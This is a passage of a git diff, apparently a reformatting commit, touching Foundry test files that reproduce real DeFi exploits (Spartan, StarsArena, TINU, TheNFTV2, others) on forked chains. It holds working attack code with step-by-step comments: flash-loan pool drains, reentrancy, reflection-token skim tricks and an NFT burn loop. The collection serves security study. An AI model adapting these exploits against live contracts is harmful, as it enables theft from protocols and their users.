// SPARTAN<>WBNB - - function setUp() public { - vm.createSelectFork("https://binance.llamarpc.com", 7048832); - } - - function testExploit() public { - CAKE_WBNB.swap(0, 100_000 ether, address(this), "flashloan 100k WBNB"); - } - - function pancakeCall(address, uint256, uint256 amount1, bytes calldata) external { - // 1: swap WBNB for SPARTA 5 times - for(uint i; i < 4; ++i) { - WBNB.transfer(address(SPT1_WBNB), 1913.17 ether); - SPT1_WBNB.swapTo(address(SPARTA), address(this)); - } - - // 2: addLiquidity SPARTA<>WBNB, get LP tokens - SPARTA.transfer(address(SPT1_WBNB), SPARTA.balanceOf(address(this))); // 2536613.206101067206978364 - WBNB.transfer(address(SPT1_WBNB), 11853.33 ether); - SPT1_WBNB.addLiquidity(); - - // 3: swap WBNB for SPARTA 10 times (more in this step for less slippage) - for(uint i; i < 9; ++i) { - WBNB.transfer(address(SPT1_WBNB), 1674.02 ether); - SPT1_WBNB.swapTo(address(SPARTA), address(this)); - } - - // 4: donate WBNB + SPARTAN to the pool - SPARTA.transfer(address(SPT1_WBNB), SPARTA.balanceOf(address(this))); // 2639121.977427448690750716 - WBNB.transfer(address(SPT1_WBNB), 21632.14 ether); - - // 5: removeLiquidity from step 2. Since the pool uses spot balanceOf() to calculate withdraw amounts, we can withdraw more assets than normal - SPT1_WBNB.transfer(address(SPT1_WBNB), SPT1_WBNB.balanceOf(address(this))); // transfer LP tokens into the pool - SPT1_WBNB.removeLiquidity(); // important: removeLiquidity() doesn't sync all spot balances into reserves - - // 6: immediately addLiquidity to "recover" donated tokens in step 4 - SPT1_WBNB.addLiquidity(); - - // 7: removeLiquidity again to get all assets (with exploited profits) out - IERC20(address(SPT1_WBNB)).transfer(address(SPT1_WBNB), IERC20(address(SPT1_WBNB)).balanceOf(address(this))); - SPT1_WBNB.removeLiquidity(); - - // 8: swap SPARTA back to WBNB - uint swapAmount = SPARTA.balanceOf(address(this)) / 10; - for(uint i; i < 9; ++i) { - SPARTA.transfer(address(SPT1_WBNB), swapAmount); - SPT1_WBNB.swapTo(address(WBNB), address(this)); - } - - // Repeat step 1 -> 8 to fully drain the pool. ~8 times in total - - // repay - WBNB.transfer(address(CAKE_WBNB), amount1 * 1000 / 997); - - console.log("%s WBNB profit", WBNB.balanceOf(address(this)) / 1e18); - } -} - -/* ---------------------- Interface ---------------------- */ -interface ISpartanPool { - function swapTo(address token, address member) external payable returns (uint outputAmount, uint fee); - function addLiquidity() external returns (uint liquidityUnits); - function removeLiquidity() external returns (uint outputBase, uint outputToken); - - function transfer(address to, uint256 amount) external returns (bool); - function balanceOf(address account) external view returns (uint256); -} - -interface IERC20 { - function transfer(address to, uint256 amount) external returns (bool); - function approve(address spender, uint256 amount) external returns (bool); - function balanceOf(address account) external view returns (uint256); - function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); -} - -interface IWBNB { - function deposit() external payable; - function transfer(address to, uint256 value) external returns (bool); - function approve(address guy, uint256 wad) external returns (bool); - function withdraw(uint256 wad) external; - function balanceOf(address) external view returns (uint256); -} - -interface IUniswapV2Pair { - function balanceOf(address) external view returns (uint256); - function skim(address to) external; - function sync() external; - function swap( - uint256 amount0Out, - uint256 amount1Out, - address to, - bytes memory data - ) external; -} \ No newline at end of file +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.17; + +import "forge-std/Test.sol"; + +// @KeyInfo - Total Lost: $30.5M +// Attacker: 0x3b6e77722e2bbe97c1cfa337b42c0939aeb83671 +// Attack Contract: 0x288315639c1145f523af6d7a5e4ccf8238cd6a51 +// Vulnerable Contract: 0x3de669c4f1f167a8afbc9993e4753b84b576426f +// Attack Tx: https://explorer.phalcon.xyz/tx/bsc/0xb64ae25b0d836c25d115a9368319902c972a0215bd108ae17b1b9617dfb93af8?line=0 + +// @Analyses +// https://medium.com/amber-group/exploiting-spartan-protocols-lp-share-calculation-flaws-391437855e74 +// https://rekt.news/spartan-rekt/ + +contract Exploit is Test { + IWBNB private constant WBNB = IWBNB(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c); + IERC20 private constant SPARTA = IERC20(0xE4Ae305ebE1AbE663f261Bc00534067C80ad677C); + + IUniswapV2Pair private constant CAKE_WBNB = IUniswapV2Pair(0x0eD7e52944161450477ee417DE9Cd3a859b14fD0); + + ISpartanPool private constant SPT1_WBNB = ISpartanPool(0x3de669c4F1f167a8aFBc9993E4753b84b576426f); // SPARTAN<>WBNB + + function setUp() public { + vm.createSelectFork("https://binance.llamarpc.com", 7_048_832); + } + + function testExploit() public { + CAKE_WBNB.swap(0, 100_000 ether, address(this), "flashloan 100k WBNB"); + } + + function pancakeCall(address, uint256, uint256 amount1, bytes calldata) external { + // 1: swap WBNB for SPARTA 5 times + for (uint256 i; i < 4; ++i) { + WBNB.transfer(address(SPT1_WBNB), 1913.17 ether); + SPT1_WBNB.swapTo(address(SPARTA), address(this)); + } + + // 2: addLiquidity SPARTA<>WBNB, get LP tokens + SPARTA.transfer(address(SPT1_WBNB), SPARTA.balanceOf(address(this))); // 2536613.206101067206978364 + WBNB.transfer(address(SPT1_WBNB), 11_853.33 ether); + SPT1_WBNB.addLiquidity(); + + // 3: swap WBNB for SPARTA 10 times (more in this step for less slippage) + for (uint256 i; i < 9; ++i) { + WBNB.transfer(address(SPT1_WBNB), 1674.02 ether); + SPT1_WBNB.swapTo(address(SPARTA), address(this)); + } + + // 4: donate WBNB + SPARTAN to the pool + SPARTA.transfer(address(SPT1_WBNB), SPARTA.balanceOf(address(this))); // 2639121.977427448690750716 + WBNB.transfer(address(SPT1_WBNB), 21_632.14 ether); + + // 5: removeLiquidity from step 2. Since the pool uses spot balanceOf() to calculate withdraw amounts, we can withdraw more assets than normal + SPT1_WBNB.transfer(address(SPT1_WBNB), SPT1_WBNB.balanceOf(address(this))); // transfer LP tokens into the pool + SPT1_WBNB.removeLiquidity(); // important: removeLiquidity() doesn't sync all spot balances into reserves + + // 6: immediately addLiquidity to "recover" donated tokens in step 4 + SPT1_WBNB.addLiquidity(); + + // 7: removeLiquidity again to get all assets (with exploited profits) out + IERC20(address(SPT1_WBNB)).transfer(address(SPT1_WBNB), IERC20(address(SPT1_WBNB)).balanceOf(address(this))); + SPT1_WBNB.removeLiquidity(); + + // 8: swap SPARTA back to WBNB + uint256 swapAmount = SPARTA.balanceOf(address(this)) / 10; + for (uint256 i; i < 9; ++i) { + SPARTA.transfer(address(SPT1_WBNB), swapAmount); + SPT1_WBNB.swapTo(address(WBNB), address(this)); + } + + // Repeat step 1 -> 8 to fully drain the pool. ~8 times in total + + // repay + WBNB.transfer(address(CAKE_WBNB), amount1 * 1000 / 997); + + console.log("%s WBNB profit", WBNB.balanceOf(address(this)) / 1e18); + } +} + +/* ---------------------- Interface ---------------------- */ +interface ISpartanPool { + function swapTo(address token, address member) external payable returns (uint256 outputAmount, uint256 fee); + function addLiquidity() external returns (uint256 liquidityUnits); + function removeLiquidity() external returns (uint256 outputBase, uint256 outputToken); + + function transfer(address to, uint256 amount) external returns (bool); + function balanceOf(address account) external view returns (uint256); +} + +interface IERC20 { + function transfer(address to, uint256 amount) external returns (bool); + function approve(address spender, uint256 amount) external returns (bool); + function balanceOf(address account) external view returns (uint256); + function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); +} + +interface IWBNB { + function deposit() external payable; + function transfer(address to, uint256 value) external returns (bool); + function approve(address guy, uint256 wad) external returns (bool); + function withdraw(uint256 wad) external; + function balanceOf(address) external view returns (uint256); +} + +interface IUniswapV2Pair { + function balanceOf(address) external view returns (uint256); + function skim(address to) external; + function sync() external; + function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes memory data) external; +} diff --git a/src/test/StarsArena_exp.sol b/src/test/StarsArena_exp.sol index 9f7e469f..ac99d313 100644 --- a/src/test/StarsArena_exp.sol +++ b/src/test/StarsArena_exp.sol @@ -16,60 +16,32 @@ import "./interface.sol"; // https://twitter.com/peckshield/status/1710555944269292009 contract ContractTest is Test { - address private constant victimContract = - 0xA481B139a1A654cA19d2074F174f17D7534e8CeC; + address private constant victimContract = 0xA481B139a1A654cA19d2074F174f17D7534e8CeC; bool private reenter = true; function setUp() public { - vm.createSelectFork("Avalanche", 36136405); + vm.createSelectFork("Avalanche", 36_136_405); } function testExploit() public { deal(address(this), 1 ether); - emit log_named_decimal_uint( - "Attacker AVAX balance before exploit", - address(this).balance, - 18 - ); + emit log_named_decimal_uint("Attacker AVAX balance before exploit", address(this).balance, 18); - (bool success, ) = victimContract.call{value: 1 ether}( - abi.encodeWithSelector( - bytes4(0xe9ccf3a3), - address(this), - true, - address(this) - ) + (bool success,) = victimContract.call{value: 1 ether}( + abi.encodeWithSelector(bytes4(0xe9ccf3a3), address(this), true, address(this)) ); require(success, "Call to function with selector 0xe9ccf3a3 fail"); - (bool success2, ) = victimContract.call( - abi.encodeWithSignature( - "sellShares(address,uint256)", - address(this), - 1 - ) - ); + (bool success2,) = victimContract.call(abi.encodeWithSignature("sellShares(address,uint256)", address(this), 1)); require(success2, "Call to sellShares() fail"); - emit log_named_decimal_uint( - "Attacker AVAX balance after exploit", - address(this).balance, - 18 - ); + emit log_named_decimal_uint("Attacker AVAX balance after exploit", address(this).balance, 18); } receive() external payable { if (reenter == true) { - (bool success, ) = victimContract.call( - abi.encodeWithSelector( - bytes4(0x5632b2e4), - 91e9, - 91e9, - 91e9, - 91e9 - ) - ); + (bool success,) = victimContract.call(abi.encodeWithSelector(bytes4(0x5632b2e4), 91e9, 91e9, 91e9, 91e9)); require(success, "Call to function with selector 0x5632b2e4 fail"); reenter = false; } diff --git a/src/test/Sturdy_exp.sol b/src/test/Sturdy_exp.sol index 2914067a..37f4b86c 100644 --- a/src/test/Sturdy_exp.sol +++ b/src/test/Sturdy_exp.sol @@ -133,7 +133,7 @@ contract ContractTest is Test { emit log_named_decimal_uint( "Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals() - ); + ); } function executeOperation( @@ -278,7 +278,7 @@ contract Exploiter is Test { "Before Read-Only-Reentrancy Collateral Price \t", SturdyOracle.getAssetPrice(cB_stETH_STABLE), B_STETH_STABLE.decimals() - ); + ); Balancer.exitPool(poolId, address(this), payable(address(this)), request); } @@ -292,7 +292,7 @@ contract Exploiter is Test { "In Read-Only-Reentrancy Collateral Price \t", SturdyOracle.getAssetPrice(cB_stETH_STABLE), B_STETH_STABLE.decimals() - ); + ); console.log("7. set steCRV as non-collateral during the manipulation."); lendingPool.setUserUseReserveAsCollateral(address(csteCRV), false); } @@ -303,7 +303,7 @@ contract Exploiter is Test { "After Read-Only-Reentrancy Collateral Price \t", SturdyOracle.getAssetPrice(cB_stETH_STABLE), B_STETH_STABLE.decimals() - ); + ); console.log(""); console.log("8. Withdraw 1,000 steCRV from Sturdy."); ConvexCurveLPVault2.withdrawCollateral(address(steCRV), 1000 * 1e18, 10, address(this)); // Withdraw 1,000 steCRV from Sturdy. diff --git a/src/test/SwapX_exp.sol b/src/test/SwapX_exp.sol index 3588111e..ada2157a 100644 --- a/src/test/SwapX_exp.sol +++ b/src/test/SwapX_exp.sol @@ -69,7 +69,7 @@ contract ContractTest is Test { emit log_named_decimal_uint( "Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), WBNB.decimals() - ); + ); } function DNDToWBNB() internal { diff --git a/src/test/Swapos_exp.sol b/src/test/Swapos_exp.sol index a4ba6a11..69d7bd08 100644 --- a/src/test/Swapos_exp.sol +++ b/src/test/Swapos_exp.sol @@ -19,7 +19,6 @@ interface SWAPOS { function transfer(address to, uint256 value) external returns (bool); } - contract ContractTest is Test { SWAPOS swpToken = SWAPOS(0x09176F68003c06F190ECdF40890E3324a9589557); IWETH private constant WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2)); diff --git a/src/test/THB_exp.sol b/src/test/THB_exp.sol index 1632bdc9..bf35b1c3 100644 --- a/src/test/THB_exp.sol +++ b/src/test/THB_exp.sol @@ -12,8 +12,9 @@ interface IERC721Receiver { bytes calldata data ) external returns (bytes4); } -interface HouseWallet{ - function winners(uint256 id, address player) view external returns(uint256); + +interface HouseWallet { + function winners(uint256 id, address player) external view returns (uint256); function claimReward( uint256 _ID, address payable _player, @@ -35,16 +36,15 @@ interface HouseWallet{ ) external payable; } -contract ContractTest is DSTest{ - +contract ContractTest is DSTest { HouseWallet houseWallet = HouseWallet(0xae191Ca19F0f8E21d754c6CAb99107eD62B6fe53); - uint256 randomNumber = 12345678000000000000000000; + uint256 randomNumber = 12_345_678_000_000_000_000_000_000; uint256 gameId = 1; bool feestate = false; - // sha256(abi.encode(_x, name, _add)) == hashValueTwo maybe off-chain calculate - uint256 _x = 2845798969920214568462001258446; - string name = "HATEFUCKINGHACKERSTHEYNEVERCANHACKTHISIHATEPREVIOUS"; + // sha256(abi.encode(_x, name, _add)) == hashValueTwo maybe off-chain calculate + uint256 _x = 2_845_798_969_920_214_568_462_001_258_446; + string name = "HATEFUCKINGHACKERSTHEYNEVERCANHACKTHISIHATEPREVIOUS"; address _add = 0x6Ee709bf229c7C2303128e88225128784c801ce1; bool nftcheck = true; @@ -53,50 +53,38 @@ contract ContractTest is DSTest{ address payable add = payable(address(this)); bool _rewardStatus = true; // sha256(abi.encode(_x, name, _add)) == hashValue maybe off-chain calculate - uint256 _x1 = 969820990102090205468486; + uint256 _x1 = 969_820_990_102_090_205_468_486; string name1 = "WELCOMETOTHUNDERBRAWLROULETTENOWYOUWINTHESHOOTINGGAME"; CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); IERC721 THBR = IERC721(0x72e901F1bb2BfA2339326DfB90c5cEc911e2ba3C); // Thunderbrawl Roulette Contract - function setUp() public { - cheats.createSelectFork("bsc", 21785004); + cheats.createSelectFork("bsc", 21_785_004); } - function testExploit() public{ - - emit log_named_uint( - "Attacker THBR balance before exploit", - THBR.balanceOf(address(this)) - ); + function testExploit() public { + emit log_named_uint("Attacker THBR balance before exploit", THBR.balanceOf(address(this))); houseWallet.shoot{value: 0.32 ether}(randomNumber, gameId, feestate, _x, name, _add, nftcheck, dystopianCheck); uint256 _amount = houseWallet.winners(gameId, add); houseWallet.claimReward(gameId, add, _amount, _rewardStatus, _x1, name1, _add); - emit log_named_uint( - "Attacker THBR balance after exploit", - THBR.balanceOf(address(this)) - ); - + emit log_named_uint("Attacker THBR balance after exploit", THBR.balanceOf(address(this))); } receive() external payable {} function onERC721Received( - address _operator, - address _from, - uint256 _tokenId, + address _operator, + address _from, + uint256 _tokenId, bytes calldata _data - ) - payable - external - returns (bytes4){ - uint256 _amount = houseWallet.winners(gameId, add); - if(address(houseWallet).balance >= _amount * 2){ - houseWallet.claimReward(gameId, add, _amount, _rewardStatus, _x1, name1, _add); - } - return this.onERC721Received.selector; + ) external payable returns (bytes4) { + uint256 _amount = houseWallet.winners(gameId, add); + if (address(houseWallet).balance >= _amount * 2) { + houseWallet.claimReward(gameId, add, _amount, _rewardStatus, _x1, name1, _add); } -} \ No newline at end of file + return this.onERC721Received.selector; + } +} diff --git a/src/test/TINU_exp.t.sol b/src/test/TINU_exp.t.sol index 6c9677ea..1e4ee03e 100644 --- a/src/test/TINU_exp.t.sol +++ b/src/test/TINU_exp.t.sol @@ -1,140 +1,126 @@ -// SPDX-License-Identifier: UNLICENSED -pragma solidity ^0.8.17; - -import "forge-std/Test.sol"; - -// Total lost: 22 ETH -// Attacker: 0x14d8ada7a0ba91f59dc0cb97c8f44f1d177c2195 -// Attack Contract: 0xdb2d869ac23715af204093e933f5eb57f2dc12a9 -// Vulnerable Contract: 0x2d0e64b6bf13660a4c0de42a0b88144a7c10991f -// Attack Tx: https://phalcon.blocksec.com/tx/eth/0x6200bf5c43c214caa1177c3676293442059b4f39eb5dbae6cfd4e6ad16305668 -// https://etherscan.io/tx/0x6200bf5c43c214caa1177c3676293442059b4f39eb5dbae6cfd4e6ad16305668 - -// @Analysis -// https://twitter.com/libevm/status/1618731761894309889 - -contract TomInuExploit is Test { - IWETH private constant WETH = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); - reflectiveERC20 private constant TINU = reflectiveERC20(0x2d0E64B6bF13660a4c0De42a0B88144a7C10991F); - - IBalancerVault private constant balancerVault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8); - IRouter private constant router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); - IUniswapV2Pair private constant TINU_WETH = IUniswapV2Pair(0xb835752Feb00c278484c464b697e03b03C53E11B); - - function testHack() external { - vm.createSelectFork("https://eth.llamarpc.com", 16489408); - - // flashloan WETH from Balancer - address[] memory tokens = new address[](1); - tokens[0] = address(WETH); - - uint256[] memory amounts = new uint256[](1); - amounts[0] = 104.85 ether; - - balancerVault.flashLoan(address(this), tokens, amounts, ""); - } - - function receiveFlashLoan( - reflectiveERC20[] memory, - uint256[] memory amounts, - uint256[] memory, - bytes memory - ) external { - // swapp WETH for TINU to give Pair large fees - WETH.approve(address(router), type(uint).max); - TINU.approve(address(router), type(uint).max); - address[] memory path = new address[](2); - path[0] = address(WETH); - path[1] = address(TINU); - router.swapExactTokensForTokensSupportingFeeOnTransferTokens( - 104.85 ether, - 0, - path, - address(this), - type(uint).max - ); - - console.log("%s TINU in pair before deliver", TINU.balanceOf(address(TINU_WETH)) / 1e18); - console.log("%s TINU in attack contract before deliver", TINU.balanceOf(address(this)) / 1e18); - console.log("-------------Delivering-------------"); - - TINU.deliver(TINU.balanceOf(address(this))); // give away TINU - - console.log("%s TINU in pair after deliver", TINU.balanceOf(address(TINU_WETH)) / 1e18); - console.log("%s TINU in attack contract after deliver", TINU.balanceOf(address(this)) / 1e18); - console.log("-------------Skimming---------------"); - - TINU_WETH.skim(address(this)); - - console.log("%s TINU in pair after skim", TINU.balanceOf(address(TINU_WETH)) / 1e18); - console.log("%s TINU in attack contract after skim", TINU.balanceOf(address(this)) / 1e18); - console.log("-------------Delivering-------------"); - - TINU.deliver(TINU.balanceOf(address(this))); - - console.log("%s TINU in pair after deliver 2", TINU.balanceOf(address(TINU_WETH)) / 1e18); - console.log("%s TINU in attack contract after deliver 2", TINU.balanceOf(address(this)) / 1e18); - // WETH in Pair always = 126 - - TINU_WETH.swap( - 0, - WETH.balanceOf(address(TINU_WETH)) - 0.01 ether, - address(this), - "" - ); - - // repay - WETH.transfer(address(balancerVault), amounts[0]); - - console.log("\n Attacker's profit: %s WETH", WETH.balanceOf(address(this)) / 1e18); - } -} - -/* -------------------- Interface -------------------- */ -interface reflectiveERC20 { - function transfer(address to, uint256 amount) external returns (bool); - function approve(address spender, uint256 amount) external returns (bool); - function balanceOf(address account) external view returns (uint256); - function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); - - function deliver(uint256 tAmount) external; -} - -interface IWETH { - function deposit() external payable; - function transfer(address to, uint256 value) external returns (bool); - function approve(address guy, uint256 wad) external returns (bool); - function withdraw(uint256 wad) external; - function balanceOf(address) external view returns (uint256); -} - -interface IBalancerVault { - function flashLoan( - address recipient, - address[] memory tokens, - uint256[] memory amounts, - bytes memory userData - ) external; -} - -interface IRouter { - function swapExactTokensForTokensSupportingFeeOnTransferTokens( - uint256 amountIn, - uint256 amountOutMin, - address[] calldata path, - address to, - uint256 deadline - ) external; -} - -interface IUniswapV2Pair { - function balanceOf(address) external view returns (uint256); - function skim(address to) external; - function sync() external; - function swap( - uint256 amount0Out, - uint256 amount1Out, - address to, - bytes memory data - ) external; -} \ No newline at end of file +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.17; + +import "forge-std/Test.sol"; + +// Total lost: 22 ETH +// Attacker: 0x14d8ada7a0ba91f59dc0cb97c8f44f1d177c2195 +// Attack Contract: 0xdb2d869ac23715af204093e933f5eb57f2dc12a9 +// Vulnerable Contract: 0x2d0e64b6bf13660a4c0de42a0b88144a7c10991f +// Attack Tx: https://phalcon.blocksec.com/tx/eth/0x6200bf5c43c214caa1177c3676293442059b4f39eb5dbae6cfd4e6ad16305668 +// https://etherscan.io/tx/0x6200bf5c43c214caa1177c3676293442059b4f39eb5dbae6cfd4e6ad16305668 + +// @Analysis +// https://twitter.com/libevm/status/1618731761894309889 + +contract TomInuExploit is Test { + IWETH private constant WETH = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); + reflectiveERC20 private constant TINU = reflectiveERC20(0x2d0E64B6bF13660a4c0De42a0B88144a7C10991F); + + IBalancerVault private constant balancerVault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8); + IRouter private constant router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); + IUniswapV2Pair private constant TINU_WETH = IUniswapV2Pair(0xb835752Feb00c278484c464b697e03b03C53E11B); + + function testHack() external { + vm.createSelectFork("https://eth.llamarpc.com", 16_489_408); + + // flashloan WETH from Balancer + address[] memory tokens = new address[](1); + tokens[0] = address(WETH); + + uint256[] memory amounts = new uint256[](1); + amounts[0] = 104.85 ether; + + balancerVault.flashLoan(address(this), tokens, amounts, ""); + } + + function receiveFlashLoan( + reflectiveERC20[] memory, + uint256[] memory amounts, + uint256[] memory, + bytes memory + ) external { + // swapp WETH for TINU to give Pair large fees + WETH.approve(address(router), type(uint256).max); + TINU.approve(address(router), type(uint256).max); + address[] memory path = new address[](2); + path[0] = address(WETH); + path[1] = address(TINU); + router.swapExactTokensForTokensSupportingFeeOnTransferTokens( + 104.85 ether, 0, path, address(this), type(uint256).max + ); + + console.log("%s TINU in pair before deliver", TINU.balanceOf(address(TINU_WETH)) / 1e18); + console.log("%s TINU in attack contract before deliver", TINU.balanceOf(address(this)) / 1e18); + console.log("-------------Delivering-------------"); + + TINU.deliver(TINU.balanceOf(address(this))); // give away TINU + + console.log("%s TINU in pair after deliver", TINU.balanceOf(address(TINU_WETH)) / 1e18); + console.log("%s TINU in attack contract after deliver", TINU.balanceOf(address(this)) / 1e18); + console.log("-------------Skimming---------------"); + + TINU_WETH.skim(address(this)); + + console.log("%s TINU in pair after skim", TINU.balanceOf(address(TINU_WETH)) / 1e18); + console.log("%s TINU in attack contract after skim", TINU.balanceOf(address(this)) / 1e18); + console.log("-------------Delivering-------------"); + + TINU.deliver(TINU.balanceOf(address(this))); + + console.log("%s TINU in pair after deliver 2", TINU.balanceOf(address(TINU_WETH)) / 1e18); + console.log("%s TINU in attack contract after deliver 2", TINU.balanceOf(address(this)) / 1e18); + // WETH in Pair always = 126 + + TINU_WETH.swap(0, WETH.balanceOf(address(TINU_WETH)) - 0.01 ether, address(this), ""); + + // repay + WETH.transfer(address(balancerVault), amounts[0]); + + console.log("\n Attacker's profit: %s WETH", WETH.balanceOf(address(this)) / 1e18); + } +} + +/* -------------------- Interface -------------------- */ +interface reflectiveERC20 { + function transfer(address to, uint256 amount) external returns (bool); + function approve(address spender, uint256 amount) external returns (bool); + function balanceOf(address account) external view returns (uint256); + function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); + + function deliver(uint256 tAmount) external; +} + +interface IWETH { + function deposit() external payable; + function transfer(address to, uint256 value) external returns (bool); + function approve(address guy, uint256 wad) external returns (bool); + function withdraw(uint256 wad) external; + function balanceOf(address) external view returns (uint256); +} + +interface IBalancerVault { + function flashLoan( + address recipient, + address[] memory tokens, + uint256[] memory amounts, + bytes memory userData + ) external; +} + +interface IRouter { + function swapExactTokensForTokensSupportingFeeOnTransferTokens( + uint256 amountIn, + uint256 amountOutMin, + address[] calldata path, + address to, + uint256 deadline + ) external; +} + +interface IUniswapV2Pair { + function balanceOf(address) external view returns (uint256); + function skim(address to) external; + function sync() external; + function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes memory data) external; +} diff --git a/src/test/TeamFinance.exp.sol b/src/test/TeamFinance.exp.sol index 2eccf731..ba9ea228 100644 --- a/src/test/TeamFinance.exp.sol +++ b/src/test/TeamFinance.exp.sol @@ -98,7 +98,7 @@ contract Attacker is Test { emit log_named_decimal_uint("[Before] Attack Contract CAW balance", IERC20(caw).balanceOf(address(this)), 18); emit log_named_decimal_uint( "[Before] Attack Contract TSUKA balance", IERC20(tsuka).balanceOf(address(this)), 18 - ); + ); // The exploit code could be written like a for loop, but we keep it simple to let you could do some debugging here. // ==================== Migrate FEG_WETH_UniV2Pair to V3 ==================== diff --git a/src/test/TheNFTV2_exp.sol b/src/test/TheNFTV2_exp.sol index 62ae6610..7428b0e7 100644 --- a/src/test/TheNFTV2_exp.sol +++ b/src/test/TheNFTV2_exp.sol @@ -10,17 +10,16 @@ import "./interface.sol"; // @Analysis - https://x.com/MetaTrustAlert/status/1728616715825848377?s=20 contract TheNFTV2Test is Test { - IERC721 THENFTV2 = IERC721(0x79a7D3559D73EA032120A69E59223d4375DEb595); IERC20 TheDAO = IERC20(0xBB9bc244D798123fDe783fCc1C72d3Bb8C189413); IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); IUniswapV2Pair uniswap = IUniswapV2Pair(0xE1eCaDb5FEC254c2c893C230b935Db30b8FfF0db); - uint constant nftId = 1071; + uint256 constant nftId = 1071; address hacker = 0x85301f7b943fd132c8dBc33f8FD9d77109A84f28; address deadaddress = 0x000000000000000000000000000000000074eda0; function setUp() public { - vm.createSelectFork("mainnet", 18647450); + vm.createSelectFork("mainnet", 18_647_450); vm.label(address(WETH), "WETH"); vm.label(address(THENFTV2), "THENFTV2"); vm.label(address(uniswap), "Uniswap Pair"); @@ -34,43 +33,47 @@ contract TheNFTV2Test is Test { amounts[0] = 80_000 * 1e18; uint256[] memory modes = new uint[](1); modes[0] = 0; - + emit log_named_decimal_uint("[Start] Attacker ETH Balance", WETH.balanceOf(address(this)), WETH.decimals()); - uint balanceBefore = address(this).balance; + uint256 balanceBefore = address(this).balance; vm.prank(hacker); - THENFTV2.transferFrom(address(hacker), address(this), nftId); + THENFTV2.transferFrom(address(hacker), address(this), nftId); - uniswap.swap(0, 1906331836125411716, address(this), new bytes(1)); - uint balanceAfter = address(this).balance; + uniswap.swap(0, 1_906_331_836_125_411_716, address(this), new bytes(1)); + uint256 balanceAfter = address(this).balance; assert(balanceAfter > balanceBefore); emit log_named_decimal_uint("Attacker ETH balance after exploit", address(this).balance, 0); } function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external { - (uint thedaoReserve, uint wethReserve, ) = uniswap.getReserves(); + (uint256 thedaoReserve, uint256 wethReserve,) = uniswap.getReserves(); emit log_named_uint("k0:", thedaoReserve * wethReserve); - uint amountOut = amount1; + uint256 amountOut = amount1; uint256 amountIn = getAmountIn(amountOut, thedaoReserve, wethReserve); emit log_named_uint("amountIn", amountIn); - + do { THENFTV2.approve(address(this), nftId); THENFTV2.burn(nftId); THENFTV2.transferFrom(deadaddress, address(this), nftId); - } while (TheDAO.balanceOf(address(this)) < amountIn ); + } while (TheDAO.balanceOf(address(this)) < amountIn); TheDAO.transfer(address(uniswap), TheDAO.balanceOf(address(this))); WETH.withdraw(WETH.balanceOf(address(this))); } - function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) { - require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT'); - require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); - uint numerator = reserveIn * amountOut * (1000); - uint denominator = (reserveOut - amountOut) * (997); + function getAmountIn( + uint256 amountOut, + uint256 reserveIn, + uint256 reserveOut + ) internal pure returns (uint256 amountIn) { + require(amountOut > 0, "UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT"); + require(reserveIn > 0 && reserveOut > 0, "UniswapV2Library: INSUFFICIENT_LIQUIDITY"); + uint256 numerator = reserveIn * amountOut * (1000); + uint256 denominator = (reserveOut - amountOut) * (997); amountIn = (numerator / denominator) + (1); } receive() external payable {} -} \ No newline at end of file +} diff --git a/src/test/TheStandard_io_exp.sol b/src/test/TheStandard_io_exp.sol index 8b3abd59..f023d93c 100644 --- a/src/test/TheStandard_io_exp.sol +++ b/src/test/TheStandard_io_exp.sol @@ -29,6 +29,7 @@ interface NonfungiblePositionManager { uint256 amount1Min; uint256 deadline; } + struct MintParams { address token0; address token1; @@ -45,25 +46,20 @@ interface NonfungiblePositionManager { } interface IPositionsNFT is IPoolInitializer { - function collect( - NonfungiblePositionManager.CollectParams memory params - ) external payable returns (uint256 amount0, uint256 amount1); + function collect(NonfungiblePositionManager.CollectParams memory params) + external + payable + returns (uint256 amount0, uint256 amount1); - function decreaseLiquidity( - NonfungiblePositionManager.DecreaseLiquidityParams memory params - ) external payable returns (uint256 amount0, uint256 amount1); + function decreaseLiquidity(NonfungiblePositionManager.DecreaseLiquidityParams memory params) + external + payable + returns (uint256 amount0, uint256 amount1); - function mint( - NonfungiblePositionManager.MintParams memory params - ) + function mint(NonfungiblePositionManager.MintParams memory params) external payable - returns ( - uint256 tokenId, - uint128 liquidity, - uint256 amount0, - uint256 amount1 - ); + returns (uint256 tokenId, uint128 liquidity, uint256 amount0, uint256 amount1); } interface ISmartVaultManagerV2 { @@ -73,11 +69,7 @@ interface ISmartVaultManagerV2 { interface ISmartVaultV2 { function mint(address _to, uint256 _amount) external; - function swap( - bytes32 _inToken, - bytes32 _outToken, - uint256 _amount - ) external; + function swap(bytes32 _inToken, bytes32 _outToken, uint256 _amount) external; } interface ISwapRouter { @@ -93,36 +85,28 @@ interface ISwapRouter { } interface ICamelotRouter { - function exactInputSingle( - ISwapRouter.ExactInputSingleParams memory params - ) external payable returns (uint256 amountOut); + function exactInputSingle(ISwapRouter.ExactInputSingleParams memory params) + external + payable + returns (uint256 amountOut); } contract ContractTest is Test { - IPositionsNFT private constant PositionsNFT = - 